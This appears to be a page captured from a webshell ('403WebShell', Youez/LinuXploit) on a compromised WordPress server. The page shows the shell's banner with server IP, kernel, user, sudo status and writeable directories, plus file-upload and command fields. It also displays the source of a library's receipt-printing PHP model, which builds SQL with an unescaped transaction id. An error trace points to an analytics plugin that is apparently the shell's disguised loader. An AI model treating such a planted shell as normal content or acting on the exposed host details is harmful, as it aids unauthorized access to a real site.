Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/core/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/core/models/printer_model.php
<?php

class Printer_Model extends Model {

// http://www.dymo.com/en-US/labelwriter-400-turbo-label-printer#tabContainer

	function PrintTransaction($transaction_model, $action) {
		global $DATABASE;
		$this->tm = $transaction_model;
		$tranid = $transaction_model->header['bh_id'];
		
		$sql = <<<BLOCK
select * from dt_tranh 
  left outer join dt_member on bh_member=bm_id
  where bh_id=$tranid
BLOCK;

		$DATA = $DATABASE->Lookup($sql, $tranid);
		
		if ($DATA['bh_type'] != 'B') {				// only print out complete transactions
			header('content-type: text/plain');
			return "unable to print transaction $tranid\n";
		}

		$data = '';
		if ($action == 'b' || $action == 'a') {
			$data .= $this->PrintLoanReceipt($DATA, $tranid);
		} 
		if ($action == 's' || $action == 'a') {
			$data .= $this->PrintInvoice($DATA, $tranid);
		} 

		return base64_encode($data);
		
		$dvalue = htmlspecialchars($data);
		return <<<BLOCK
<html>
<body onload="document.f.submit();">
<form method="post" action="http://127.0.0.1:1080/print" name="f">
<input type="hidden" name="data" value="$dvalue">
</form>
</body>
<html>
BLOCK;

	}
	
	function PrintInvoice($DATA, $tranid) {
		global $DATABASE, $PAYMET;
		$this->COUNT = 0;
		$dt = strtotime($DATA['bh_return']);
		$duedate = date('D, F j, Y', $dt);
		$name = ip_AsMember($DATA);
		
		$details = "\nW - " . ip_AsMember($DATA) . "\nR";
		if ($DATA['bm_phone'] != '') {
			$details .= "\nW - " . $DATA['bm_phone'] . "\nR";
		}
		
		$date = strtotime($DATA['bh_datetime'] . ' Z');
		$ldate = date('m/d/Y', $date);
		$rdate = date('H:i:s', $date);
		$paymet = isset($DATA['bh_paymet']) ? $DATA['bh_paymet'] : '';
		$pt = _cwfp_WithoutAccess($PAYMET[$paymet]);
		
		$totallines = $this->_totalline('TOTAL', $DATA['bh_total']) ;
		
		if ($paymet != '4') {		// Account
			$totallines .= $this->_totalline($pt, $DATA['bh_tendered']);
			$change = $DATA['bh_tendered'] - $DATA['bh_paid'];
			$totallines .= $this->_totalline('CHANGE', $change);
		}	
		
	// assemble list of books that have been purchased out
		$purchases = $this->tm->ReadTransaction($tranid, 0, array($this, '__booklist_sale'));
	// update print count
		$sql = 'update dt_tranh set bh_printedi=bh_printedi+1 where bh_id=%d';
		$DATABASE->Query($sql, $tranid, '', 0);
	
	return <<< BLOCK
H Invoice $tranid
M 0,10
N Arial
S 10
B 1
C 100
R
W - books.HopeinStoughton.org
R
R
S 9
B 0
M 0
J $rdate
W - $ldate
R
R
N Arial Narrow
M 0
$purchases
R
N Arial
M 100
B 1
$totallines
B 0
M 0
R
N Arial Narrow
W - Trx: $tranid, Items: {$this->COUNT}, $name
R
GO

BLOCK;

	}

	function _totalline($text, $amt) {
		$value = sprintf('%01.2f', $amt);
		$result = "J $value\nW - $text\nR\n";
		return $result;
	}

	function __booklist_sale(&$ITEM, &$param) {
		if (is_array($param)) $param = '';
		if (intval($ITEM['dt_purchase'])) {
			$title = ip_AsTitle($ITEM);
			$cost = ip_ItemCost($ITEM);
			$param .= "J $cost\n"; 
			$param .= "W 440 $title\nR\n";
			$this->COUNT++;
		}
		return 0;
	}

	function PrintLoanReceipt($DATA, $tranid) {
		global $DATABASE;
		$dt = strtotime($DATA['bh_return']);
		$duedate = date('D, F j, Y', $dt);
		
		$details = "\nW - " . ip_AsMember($DATA) . "\nR";
		if ($DATA['bm_phone'] != '') {
			$details .= "\nW - " . $DATA['bm_phone'] . "\nR";
		}

		// assemble list of books that have been checked out
		$borrowed = $this->tm->ReadTransaction($tranid, 0, array($this, '__booklist'));

	// update print count
		$sql = 'update dt_tranh set bh_printed=bh_printed+1 where bh_id=%d';
		$DATABASE->Query($sql, $tranid, '', 0);
		
		// Send the report to the BarScan program - it will print it out on the thermal printer
		return <<< BLOCK
H Receipt $tranid
M 0,10
N Arial
S 10
B 1
C 100
R
W - books.HopeinStoughton.org
R
R
S 9
B 0
W - Member details:
R
M 40
R$details
R
M 0
W - Return by:
R
M 40
S 10
B 1
W - $duedate
R
B 0
S 9
R
M 0
W - Borrowed Items:
R
M 40
R$borrowed
R
M 0
W - If you wish to purchase any of these books, please go to http://books.hopeinstoughton.org,
W - click on the purchase link, and enter the barcode of the book you wish to purchase.
R
GO

BLOCK;
		return $value;
	}
	
// Only include borrowed books on this list
	function __booklist(&$ITEM, &$param) {
		if (!intval($ITEM['dt_purchase'])) {
			$title = ip_AsTitle($ITEM);
			$param .= "\nW - $title\nR\nR\n";
		}
		return 0;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit